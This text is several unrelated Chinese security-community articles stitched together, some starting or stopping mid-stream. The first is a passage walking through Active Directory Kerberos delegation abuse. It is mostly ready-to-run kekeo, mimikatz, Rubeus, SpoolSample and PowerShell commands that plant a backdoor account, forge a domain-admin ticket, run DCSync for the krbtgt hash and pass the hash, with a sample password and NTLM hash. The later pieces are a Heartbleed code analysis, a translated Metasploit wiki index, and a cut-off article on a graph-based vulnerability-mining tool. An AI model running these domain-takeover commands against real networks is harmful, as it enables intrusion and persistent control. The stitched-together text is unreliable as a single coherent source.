$user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/DLIVE.COM") }
Set-ADAccountControl $user -TrustedToAuthForDelegation $true
**二、攻击者通过已知的backdoor_svc口令，使用kekeo tgt::ask，获取backdoor_svc tgt**
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit
**三、攻击者通过kekeo
tgs::s4u，获取DLIVE\Administrator访问krbtgt/DLIVE.COM的TGS，即DLIVE\Administrator的TGT**
kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@DLIVE.COM_krbtgt~dlive.com@DLIVE.COM.kirbi /user:Administrator@dlive.com /service:krbtgt/DLIVE.COM" exit
**四、攻击者利用获取的域管理员的TGT控制域控制器**
mimikatz.exe "kerberos::ptt TGS_Administrator@dlive.com@DLIVE.COM_krbtgt~DLIVE.COM@DLIVE.COM.kirbi" exit
klist查看缓存的票据
以域管理员的身份访问域控
## 0x05 受限委派 + DCSync 域控权限维持
变种黄金票据在2012之后的域环境下没有试验成功
但是在2012及之后的域环境下还是有其他办法可以通过受限委派进行持久化控制的
这里利用了DC上的ldap服务，通过受限委派获取ldap服务的票据进行DCSync攻击
参考：<https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/>
给后门服务账户设置委派
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/DC2.lab.local") }
申请以LAB\Administrator身份访问ldap/DC2.lab.local的TGS
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit
kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:ldap/DC2.lab.local" exit
mimikatz将TGS写入内存
mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_ldap~DC2.lab.local@LAB.LOCAL.kirbi" exit
DCSync读取krbtgt的HASH
mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local" exit
下面就可以通过krbtgt伪造黄金票据了
也可以直接通过dcsync读取LAB\Administrator的HASH进行PTH
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:9492fbc31a047a42a454f0e1701103dc /run:cmd.exe" exit
## 0x06 非受限委派 + Print Spooler服务 域控权限获取/权限维持
参考：
<https://xz.aliyun.com/t/2896>
<https://adsecurity.org/?p=4056>
[https://www.youtube.com/watch?v=-bcWZQCLk_4&feature=youtu.be&t=2194](https://www.youtube.com/watch?v=-bcWZQCLk_4&feature=youtu.be&t=2194)
<https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory>
在已经控制一台非受限委派机器的情况下，攻击者可以提取该机器中缓存的TGT，但是如果域管理员未曾访问过该机器
，攻击者没办法获取到域管的TGT
在DerbyCon 8（2018年）会议上，Will Schroeder (@Harmj0y)、Lee Christensen
(@Tifkin_)和Matt Nelson (@enigma0x3)提出了一种场景，当域控机器开启Print
Spooler服务时(默认开启且以System权限运行)，攻击者可以主动要求域控访问已被攻击者控制的非受限委派服务器，进而获取域控主机账户的TGT。当然这种攻击方式也适用于其他非域控机器。
但是这种攻击有一个限制是 **需要找到一台开启非受限委派的主机账户，而非服务账户** 。
在一些网络环境下开启非受限委派的主机账户可能不是很好找，DerbyCon
8该攻击方法的作者是以SHAREPOINT主机为例演示的。虽然开启非受限委派的主机账户可能不是很好找，但是这种方式仍然可以用作一种权限维持方式。
首先开启DESKTOP-WIN10主机账户的非受限委派
域控DC2上Print Spooler服务 **默认** 是自动运行的，下图是该服务的截图
攻击者现在已经拿下DESKTOP-WIN10的控制权限
最近harmj0y大佬发布了基于C#的Rubeus来弥补kekeo工具的一些不足
这里使用Rubeus的监听模式，监听登录会话提取TGT
# 以管理员身份运行
Rubeus.exe monitor /interval:5 /filteruser:DC2$
向DC2 Print Spooler发送请求，强制其访问DESKTOP-WIN10进行身份验证
# 以域用户身份运行
SpoolSample_v4.5_x64..exe DC2 DESKTOP-WIN10
## 0x07 缓解措施
1. 不需要使用委派的账户或高权限用户，比如域管理员账户，设置不允许委派
1. 受保护的用户组
适用于Windows 2012 R2以及更高版本的系统
参考：
<https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks>
<https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts>
If the domain functional level is Windows Server 2012 R2 , members of the group can no longer:
- Authenticate by using NTLM authentication
- Use Data Encryption Standard (DES) or RC4 cipher suites in Kerberos pre-authentication
- Be delegated by using unconstrained or constrained delegation
- Renew user tickets (TGTs) beyond the initial 4-hour lifetime
## 0x08 参考资料
1. 无约束委派攻击
<https://adsecurity.org/?p=1667>
<https://www.cnblogs.com/backlion/p/9268346.html>
<https://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-kerberos-unconstrained-delegation.html>
1. 约束委派相关协议(s4u2self/s4u2proxy)MSDN
<https://msdn.microsoft.com/en-us/library/cc246080.aspx>
1. 约束委派攻击
<https://www.anquanke.com/post/id/92484#h2-0>
<http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/>
<https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/>
<https://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day3.html>
1. 基于域委派的变种黄金票据
<https://paper.seebug.org/620/>
1. Blackhat US 2015 提出关于非受限委派的攻击手法
<https://adsecurity.org/?p=1667>
<https://www.blackhat.com/docs/us-15/materials/us-15-Metcalf-Red-Vs-Blue-Modern-Active-Directory-Attacks-Detection-And-Protection.pdf>
<https://www.blackhat.com/docs/us-15/materials/us-15-Metcalf-Red-Vs-Blue-Modern-Active-Directory-Attacks-Detection-And-Protection-wp.pdf>
1. Blackhat Asia 2017 提出关于受限委派的攻击手法
<https://www.blackhat.com/docs/asia-17/materials/asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE.pdf>
<https://www.blackhat.com/docs/asia-17/materials/asia-17-Hart-Delegate-To-The-Top-Abusing-Kerberos-For-Arbitrary-Impersonations-And-RCE-wp.pdf>
1. 攻击者是如何通过域控制器打印机服务和无约束Kerberos委派账户获取最高权限的
<https://xz.aliyun.com/t/2896>
<https://adsecurity.org/?p=4056>
<https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory>
1. 受保护的用户组
<https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks>
<https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts> | 社区文章 |
CVE-2014-0160也被成为心脏滴血漏洞，在OpenSSL1.0.1版本中存在严重漏洞，该漏洞会导致内存越界，攻击者可以远程读取存OpenSSL服务器内存中64K的数据
影响版本：OpenSSL1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f、Beta 1 of OpenSSL
1.0.2等版本
1 漏洞分析
我这个分析的是openssl-1.0.1.f,下载地址为<https://www.openssl.org/source/old/>
这里面有所有的老版本我们首先将这个编译，我们现在进行源码查看，我们能从[https://bugzilla.redhat.com/attachment.cgi?id=883475&action=diff](https://bugzilla.redhat.com/attachment.cgi?id=883475&action=diff)
查看到官方的修补方案
可以看到主要修改了 d1_both.c 和t1_lib.c 这两个文件中的 dtls1_process_heartbeat(SSL _s)
tls1_process_heartbeat(SSL _s) 这两个函数从名字可以看出来是处理心跳的，我们从源码中找出这两个函数
我们可以看出 主要是 通过是增加了对
s->s3->rrec.length长度的判断，我们主要看下这个s,s是传入的结构体SSL，我们找到这个这个结构体SSL
我们找到s->s3->rrec.length 中的s3 并看到了是结构体ssl_state_st,并在ssl3_state_st中rrec
这里SSL3_RECORD中记录data和length ,可以确定是在处理这个结构体的时候发生的问题
我们这里来梳理一下整个漏洞的原理以及修补方案，主要问题函数在dtls1_process_heartbeat 函数中，
首先通过 unsigned char _p = &s->s3->rrec.data[0], _pl; 这行代码来将心跳包的数据进行读取
然后通过 hbtype=*p++ 获取心跳包类型
通过 n2s(p, payload); 获取心跳包长度，并将长度放到 payload中
之后进行类型比较，如果数据包是TLS1_HB_REQUEST类型，则进行下面的流程
然后开辟空间，由于payload可以控制，则最大可以分配（1+2+65535+16）个字节的空间
然后开始在空间中添加类型，和，长度，并将原来的数据拷贝过去，这时便会发生信息泄露，由于拷贝的长度可以控制，当长度过大时候，便会导致读取pl中的数据，读取后，便会导致信息泄露
总结：在拷贝的时候，没有对数据和数据长度进行检查，导致，信息泄露 | 社区文章 |
* * *
* 原文: <https://github.com/rapid7/metasploit-framework/wiki>
* 译者: [王一航](https://github.com/wangyihang) & Google 2018-05-14
* 校对: [王一航](https://github.com/wangyihang) 2018-05-14
* 说明:
* 本篇文章为目录，文章中链接在未翻译状态时会指向原始链接，文章在翻译完成之后则会在文章标题前添加 **【已翻译】** 字样，并且文章指向的链接会修改为简书的链接。
* 不保证按照顺序进行翻译。
* * *
你是否渴望得到配置你的 Metasploit 开发环境，开始发起 GitHub Pull Request
并且提供精彩的漏洞利用代码？如果是这样，那么你来对地方了！
你是一个 Metasploit 的使用者吗？并且想像电影中演绎的破解东西 (首先保证你经过授权) 吗？
最快开始的方法是[下载 Metasploit
二进制安装包](http://www.rapid7.com/products/metasploit/download.jsp)。这将会给你访问所有
Metasploit 版本的权限：
* 自由，开放源代码的 Metasploit Framewrok 免费社区版本
* Metasploit Pro 的试用版本。
如果你正在使用 [Kali Linux](http://kali.org/)，那么 Metasploit 已经在你的系统中预先安装，请查看 [Kali
文档](http://docs.kali.org/general-use/starting-metasploit-framework-in-kali)
来获取如何在 Kali Linux 中使用 Metasploit 的详情信息。
如果你是一个 Exploit 开发者，你或许想要查看我们的 [可接受模块以及增强指南（译者注：Guidelines for Accepting
Modules and Enhancements）](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements)
，在这个文档中你会找到：当我们看到关于新的 Metasploit 模块的 Pull Request 的时候所有我们期望看到的东西。(译者注：Pull
Request的规格和标准，融入一个社区当然要遵守社区既定的规则)
如果你对于你想要做什么没有什么想法的话，你也可以参考这个指南：[为 Metasploit
做出贡献](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit)，然后就可以着手 [配置 Metasploit 开发环境](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
# [](https://github.com/rapid7/metasploit-framework/wiki#getting-started)开始
* [Setting Up a Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
* [Using Metasploit](https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit)
* [【已翻译】使用 Git](https://www.jianshu.com/p/f2d503ccda50)
* [Reporting a Bug](https://github.com/rapid7/metasploit-framework/wiki/Reporting-a-Bug)
# [](https://github.com/rapid7/metasploit-framework/wiki#contributing)贡献代码
* [Contributing to Metasploit](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit)
* [Creating Metasploit Framework LoginScanners](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners)
* [Guidelines for Accepting Modules and Enhancements](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements)
* [Common Metasploit Module Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes)
* [【已翻译】代码风格小建议](https://www.jianshu.com/p/b5c74e3505c9)
* [Committer Rights](https://github.com/rapid7/metasploit-framework/wiki/Committer-Rights)
* [Landing Pull Requests](https://github.com/rapid7/metasploit-framework/wiki/Landing-Pull-Requests)
# [](https://github.com/rapid7/metasploit-framework/wiki#metasploit-development)Metasploit 开发
* [【已翻译】为什么选择 Ruby？](https://www.jianshu.com/p/877b16d5ee44)
* [【已翻译】代码风格小建议](https://www.jianshu.com/p/b5c74e3505c9)
* [How to get started with writing an exploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit)
* [How to get started with writing an auxiliary module](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-auxiliary-module)
* [How to get started with writing a post module](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-a-post-module)
* [How to get started with writing a Meterpreter script](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-a-Meterpreter-script)
* [Loading External Modules](https://github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules)
* [【已翻译】漏洞利用程序评级](https://www.jianshu.com/p/e5b0e718d8c0)
* [Metasploit module reference identifiers](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers)
* [How to check Microsoft patch levels for your exploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-check-Microsoft-patch-levels-for-your-exploit)
* [How to clean up files using FileDropper](https://github.com/rapid7/metasploit-framework/wiki/How-to-clean-up-files-using-FileDropper)
* [How to deprecate a Metasploit module](https://github.com/rapid7/metasploit-framework/wiki/How-to-deprecate-a-Metasploit-module)
* [How to do reporting or store data in module development](https://github.com/rapid7/metasploit-framework/wiki/How-to-do-reporting-or-store-data-in-module-development)
* [How to log in Metasploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-log-in-Metasploit)
* [How to obfuscate JavaScript in Metasploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-obfuscate-JavaScript-in-Metasploit)
* [How to parse an HTTP response](https://github.com/rapid7/metasploit-framework/wiki/How-to-parse-an-HTTP-response)
* [How to Send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient)
* [How to send an HTTP request using Rex::Proto::Http::Client](https://github.com/rapid7/metasploit-framework/wiki/How-to-send-an-HTTP-request-using-Rex%3A%3AProto%3A%3AHttp%3A%3AClient)
* [How to use command stagers](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers)
* [How to use datastore options](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options)
* [How to use Msf::Auxiliary::AuthBrute to write a bruteforcer](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Msf%3A%3AAuxiliary%3A%3AAuthBrute-to-write-a-bruteforcer)
* [How to use PhpEXE to exploit an arbitrary file upload bug](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug)
* [How to use Powershell in an exploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit)
* [How to use Railgun for Windows post exploitation](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation)
* [How to Use the FILEFORMAT mixin to create a file format exploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-Use-the-FILEFORMAT-mixin-to-create-a-file-format-exploit)
* [How to use the Msf::Exploit::Remote::Tcp mixin](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Msf%3A%3AExploit%3A%3ARemote%3A%3ATcp-mixin)
* [How to use the Seh mixin to exploit an exception handler](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler)
* [How to use WbemExec for a write privilege attack on Windows](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows)
* [How to write a browser exploit using BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)
* [How to write a browser exploit using HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer)
* [How to write a check() method](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check%28%29-method)
* [How to write a HTTP LoginScanner Module](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module)
* [How to write a module using HttpServer and HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-module-using-HttpServer-and-HttpClient)
* [How to zip files with Rex::Zip::Archive](https://github.com/rapid7/metasploit-framework/wiki/How-to-zip-files-with-Rex%3A%3AZip%3A%3AArchive)
* [Oracle Usage](https://github.com/rapid7/metasploit-framework/wiki/Oracle-Usage)
* [Rex Layout](https://github.com/rapid7/metasploit-framework/wiki/Rex-Layout)
# [](https://github.com/rapid7/metasploit-framework/wiki#metasploit-payloads)Metasploit Payloads（译者注：有时候被翻译为“攻击载荷”）
* [【已翻译】How Payloads Work](https://www.jianshu.com/p/97dbb71ed2c7)
* [Merging Metasploit Payload Gem Updates](https://github.com/rapid7/metasploit-framework/wiki/Merging-Metasploit-Payload-Gem-Updates)
* [Meterpreter Configuration](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Configuration)
* [Meterpreter HTTP Communication](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-HTTP-Communication)
* [Meterpreter Paranoid Mode](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode)
* [Meterpreter Reliable Network Communication](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication)
* [Meterpreter Sleep Control](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control)
* [Meterpreter Stageless Mode](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode)
* [Meterpreter Timeout Control](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control)
* [Meterpreter Transport Control](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control)
* [Meterpreter Unicode Support](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Unicode-Support)
* [Payload UUID](https://github.com/rapid7/metasploit-framework/wiki/Payload-UUID)
* [Python Extension](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension)
* [The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers](https://github.com/rapid7/metasploit-framework/wiki/The-ins-and-outs-of-HTTP-and-HTTPS-communications-in-Meterpreter-and-Metasploit-Stagers)
# [](https://github.com/rapid7/metasploit-framework/wiki#other-metasploit-resources) 其他 Metasploit 相关的资源
* [Downloads by Version](https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version)
* [Evading Anti Virus](https://github.com/rapid7/metasploit-framework/wiki/Evading-Anti-Virus)
* [【已翻译】Metasploit module 的正确打开方式](https://www.jianshu.com/p/7de45ca8e054)
* [【已翻译】如何在 Metasploit 中使用反弹 Shell](https://www.jianshu.com/p/b8d1295a9c5c)
* [Information About Unmet Browser Exploit Requirements](https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements)
* [【已翻译】如何使用 msfvenom](https://www.jianshu.com/p/204874fea1d3)
* [How to use exim_gethostbyname_bof.rb (Exim GHOST Buffer Overflow)](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-exim_gethostbyname_bof.rb-%28Exim-GHOST-Buffer-Overflow%29)
* [What does my Rex::Proto::SMB Error mean?](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F)
# [](https://github.com/rapid7/metasploit-framework/wiki#github-resources)
GitHub 相关的资源
* [Git Cheatsheet](https://github.com/rapid7/metasploit-framework/wiki/Git-cheatsheet)
* [Git Gotchas](https://github.com/rapid7/metasploit-framework/wiki/Git-Gotchas)
* [Git Reference Sites](https://github.com/rapid7/metasploit-framework/wiki/Git-Reference-Sites)
* [Remote Branch Pruning](https://github.com/rapid7/metasploit-framework/wiki/Remote-Branch-Pruning) | 社区文章 |
**作者：wh1t3Pig
原文链接：[《基于代码属性图的自动化漏洞挖掘实践》](https://blog.0kami.cn/blog/2023/%E5%9F%BA%E4%BA%8E%E4%BB%A3%E7%A0%81%E5%B1%9E%E6%80%A7%E5%9B%BE%E7%9A%84%E8%87%AA%E5%8A%A8%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%AE%9E%E8%B7%B5/
"《基于代码属性图的自动化漏洞挖掘实践》")**
## 0 前言
应用程序分析技术挖掘应用漏洞一直以来都是学术界和工业界的研究重点之一。从最初的正则匹配到最近的代码属性图挖掘方案，国内外有很多来自不同阶段的安全工具或商业产品来发掘程序代码的安全问题。在
Java 语言方面，业界已经有了不少出色的产品，如 CodeQL
等，但是，多数产品考虑的角度是从甲方视角或开源视角出发的，也就是产品的输入大部分是以源码为主。然而，我们安全研究人员更多面对地是编译后的项目，比如编译后的
WAR、第三方依赖 JAR 等形式。对于此类形式目标的漏洞挖掘，当前存在的审计产品或多或少都有一些限制，比如最近几年很火的 CodeQL
就无法直接处理此类形式的目标代码。当前，安全研究人员大多以人工或一些辅助工具来完成此类形式项目的漏洞挖掘。很明显，这种方式审计效率是非常低的，而且，审计结果也很容易遗漏。为此，需要一款能解决此类问题的工具。
## 1 方案介绍
为了更好地辅助安全研究人员进行漏洞挖掘，我设计了基于代码属性图的自动化漏洞挖掘方案，并开发了 tabby
项目用于解决此类问题，旨在更简单更全面地挖掘更多的安全问题。方案通过整合代码语义信息和图数据库相关技术，使得单一项目（编译后的目标文件）分析后可多次重复分析，而无需重复进行繁重的程序语义分析。这种方式带来了分析成本上的优势。并且图数据库自身所擅长的路径检索能力也能充分发挥在漏洞调用链路的挖掘上。
方案将传统的程序分析流程拆分成了两个阶段，包括代码属性图生成阶段和漏洞发现阶段。由代码属性图生成阶段生成的带污点信息的代码属性图将作为漏洞发现阶段的基础，用于动态查询分析具体漏洞细节。
从开发实现上看，主要为 tabby 核心项目和用于跟踪数据流的 neo4j 扩展 tabby path finder，如下图所示：
接下来，将详细介绍我们是怎么设计和实现这个方案的。
### 1\. 针对面向对象语言的代码属性图实现方案
首先，最基础的是如何设计一个能在图数据库中直接进行代码分析的图结构。为此，我们调研了一些学术界的代码属性图实现方案，如下几篇重要的论文
[1] Martin M, Livshits B, Lam M S. Finding application errors and security flaws using PQL: a program query language[J]. Acm Sigplan Notices, 2005, 40(10): 365-383.
[2] Yamaguchi F, Golde N, Arp D, et al. Modeling and discovering vulnerabilities with code property graphs[C]//2014 IEEE Symposium on Security and Privacy. IEEE, 2014: 590-604.
[3] Backes M, Rieck K, Skoruppa M, et al. Efficient and flexible discovery of php application vulnerabilities[C]//2017 IEEE european symposium on security and privacy (EuroS&P). IEEE, 2017: 334-349.
上面三篇论文在代码属性图的设计上做了一些尝试，但是他们主要针对的对象是面向过程语言，这其中不涉及解决一些面向对象语言的特性，比如多态特性。举个实际例子
interface IFace {
void test();
}
class A implements IFace {
public void test(){}
}
class B implements IFace {
public void test(){}
}
class Main {
public static void test(IFace iFace){
iFace.test();
}
public static void main(String[] args) {
IFace a = new A();
test(a);
IFace b = new B();
test(b);
}
}
如果采用论文中所设计的代码属性图，简化分析 `Main#test` 函数，我们可以得到这样一个指向关系
在面向过程语言中，这样分析是没有问题的，因为 `IFace` 对象的指向是固定的，而在面向对象语言中，由于 IFace 是一个接口 interface
类型，它实际的代码实现是空的，我们需要找到对应的具体实现该接口的对象才能进行相应分析。比如上述的代码表示，我们需要从分析过程中，推算出当前执行的
`iFace.test()` 可能是 `A.test` 或 `B.test`。很明显，此类代码属性图是不符合分析面向对象语言的。
此外，上述论文中的代码属性图都保留了 AST、CFG，但是，实际上如果当前函数内容和分析算法均不发生改变，不管是第一次分析也好，还是第 n
次分析也好，其分析结果是固定的，那么保留 AST、CFG 结构除了更好的展示代码结构外，并没有起到多大的用处。当然，假设分析算法也同时开放给用户的情况另算。
为了能契合面向对象语言，我们重新设计了面向对象语言的代码属性图实现方案。我们的方案摒弃了多余的数据结构（AST、CFG），新增了针对面向对象语言的特殊数据结构。
该代码属性图实现方案由类关系图 ORG、函数别名图 MAG、函数调用图 MCG 3 种子图组合而成。图中共有 Class 和 Method 两种实体节点，5
种关系边，下文将详细叙述这三种子图构成及作用。
#### 类关系图 Object Relation Graph
类关系图用于描述对象自身的相关语义信息和对象之间的语义关系，共三种关系
* 类与函数之间的归属关系 HAS 边
* 类与接口之间的实现关系 INTERFACE 边
* 类与类之间的继承关系 EXTENDS 边
通过串联类与类、类与函数之间的关系边，我们可以得到一颗颗独立对象函数继承树。 利用 Neo4j 的查询语法，我们可以动态查询符合条件的类和函数。
#### 函数别名图 Method Alias Graph
在前文中，提到了三篇论文设计的代码属性图没有考虑面向对象语言，导致在图中函数调用之间是相互割裂的。还是用上文提到的这个例子，我们没有办法在图数据库中直接找到一个从
`Main#test` 函数到 `A#test` 或 `B#test` 的一条通路，也就意味着我们不能通过类似 Neo4j
的查询语法来直接完成函数调用链路的输出。这显然是不符合我们的实际需求的，为此，我们设计了函数别名图来解决这个问题。
函数别名图描述了某一函数所有具体实现的语义图，主要用于面向对象语言多态特性在图数据库中的表达。该图由描述函数与函数之间的别名关系 ALIAS
边连接而成，类似 ORG 图，函数别名图也会产生一颗颗独立的函数树，树顶为 interface 或顶层类型，树枝为当前树顶函数的具体实现。
以上文中的代码为例，通过 MAG 图，我们可以找到一条从 `Main#main` 到 `A#test` 或 `B#test`
的函数调用通路。有了通路之后，我们就可以通过 Neo4j 的查询语法来查询此类函数调用路径。而且，MAG
图可以使得程序分析过程中的函数枚举实现下方到图数据库中进行，在一定程度上，可以缓解程序分析过程中的路径爆炸问题，详见 ppt 12。
#### 函数调用图 Method Call Graph
函数调用图主要用于描述函数与函数之间的调用关系图，利用该有向的调用关系可以查询出一条有效的函数调用路径。同时，我们也保留了 PDG 图，在 CALL
边上保留了污点信息用于后续的过程间数据流分析。更近一步的是，通过污点分析，我们可以保留受污染的调用边，减少后续图数据库中无用边的枚举递归查找。
通过组合上述三个子图，我们最终可以达到 2 个效果 1. 直接利用 Neo4j 的查询语法即可完成有效路径枚举工作 2.
可以将“有效”路径的判别下放到图数据库中完成（即过程间数据流分析）
### 2\. 结合图数据库的污点分析引擎
接下来，我们来看看如何在图数据库中来判定“有效”路径
为了能更好的结合图数据库的技术优势，我们重新编排了程序分析的整体流程，简单来看，将其分为化整为零和化零为整两个部分。 化整为零部分着重于生成
PDG（program data graph），使得每一条函数调用边上都有入参等变量的污点信息。 化零为整部分着重于利用 PDG
和图数据库的路径检索能力，重建函数调用链路。重建过程以污点信息动态推算，边剪枝无效调用边重建链路，在一定程度上缓解了路径爆炸问题。
#### 化整为零
化整为零部分涉及了单函数过程内分析算法和跨函数过程间分析算法。 单函数过程内分析算法的实现以静态分析框架 SOOT 作为基础，在 SOOT 转化的
Jimple 语法中进行相应的指针分析。此处，依据 Java 的语法规则，我们可以总结出 12 种污点流转规则
关于过程内分析细节，在 ppt 15 中，给了一个动态的分析案例，在此就不在累述了。
我们重点来看一下过程间分析算法。在程序分析技术的发展过程中，有很多用于加快分析速度的方法。我们采用了基于摘要的过程间分析算法，也就是每分析完一个函数内容后生成相应的语义缓存，该缓存可用于描述经过调用该函数后函数调用者、函数入参、函数返回值的相关语义信息。利用缓存信息可一定程度上避免程序分析过程中的重复计算问题。
我们站在前人的肩膀上设计了 tabby 的语义缓存系统。从 Java
语法的角度，我们可以知道函数运行完可能会对函数调用者和函数入参变量产生影响。为此，我们需要在函数运行完最后的语句后，整理出当前函数调用者和函数入参所发生的变化。同时，如果当前函数有返回值，还需要记录该返回值同函数调用者以及函数入参之间的关系，使得污点能通过返回值进一步传递。有了这些信息后，我们主要关注点可以放在函数调用者、函数入参列表以及函数返回值上，将所发生的语义变化抽象成一语义摘要供后续函数调用分析使用。
以下图代码为例，我们来看一下 tabby 的语义缓存系统实现
人工分析 swap 函数后，我们可以知道 arg0 和 arg1 进行了交换，返回值同 arg0 相关。 那么，我们需要用一定的规则来形成语义缓存结构。
1. 定义污点实体表示 由于污点关系逃不出函数调用者、函数入参和函数返回值，所以我们在关键字上只需要定义 3
种：`this`、`param-n`、`return`，其中 `param-n` n 为 0～n 范围内的自然数，数字指代入参位置信息。 2.
定义污点实体特殊表示 除了对变量本身的表示，我们还需要考虑变量属性、变量数组等特殊表示，用 `<f>` 指代类属性；用 `<a>` 指代变量数组；`<s>`
指代仅清除并继承右值污点信息但不改变变量指向关系；`<m>` 指代不清除原有污点信息，同时继承右值污点信息，但不改变变量指向关系。
举几个实际例子，`this<f>name : param-0` 表示应处理当前函数调用者的类属性 name 为第一个函数入参的内容；`this<a> :
param-0` 表示当前函数调用者为数组类型，需将第一个函数入参放入函数调用者的数组种。 利用上面两个定义，我们可以将当前 swap
函数的语义缓存信息总结为
actions {
"param-0" : ["param-1"],
"param-1" : ["param-0"],
"return" : ["param-0"]
}
有了这样一个语义缓存结构之后，我们需要将这一缓存信息应用到调用函数的分析中，也就是例子中 b 函数的分析。 语义缓存的利用可以分为 3 个步骤 1.
初始化并复制所有涉及的变量信息，包括函数调用者、函数入参变量列表 2. 根据语义缓存做污点赋值操作 3. 清楚临时变量 以上述 b
函数的分析为例，可以将其应用过程转换为下表的流程
此外，除了形成函数本身的语义摘要信息外，我们还需要同时生成边上的污点数据缓存，也就是 PDG
的生成。这部分主要标识当前函数调用的各个变量同当前函数的函数调用者、函数入参之间的联系，以一整型数组表示。
数组位置信息指代当前调用变量的位置信息，数组数值信息指代当前位置上的变量的污点信息。 数值信息规则如下表所示
以 b 函数调用 swap 为例，假设变量 a0 来源于参数 0，那么 `A a2 = swap(a0, a1);` 转化的污点数组为 `[-1,0,
-3]`，这里 swap 的调用者为隐含变量，即 `this` 为函数调用者。
做个小结，化整为零部分主要内容为污点分析，并生成语义缓存。函数本身的语义缓存主要用于分析过程中缓解重复计算的问题；调用边上的语义缓存用于后续化零为整的动态数据流分析，即
PDG
#### 化零为整
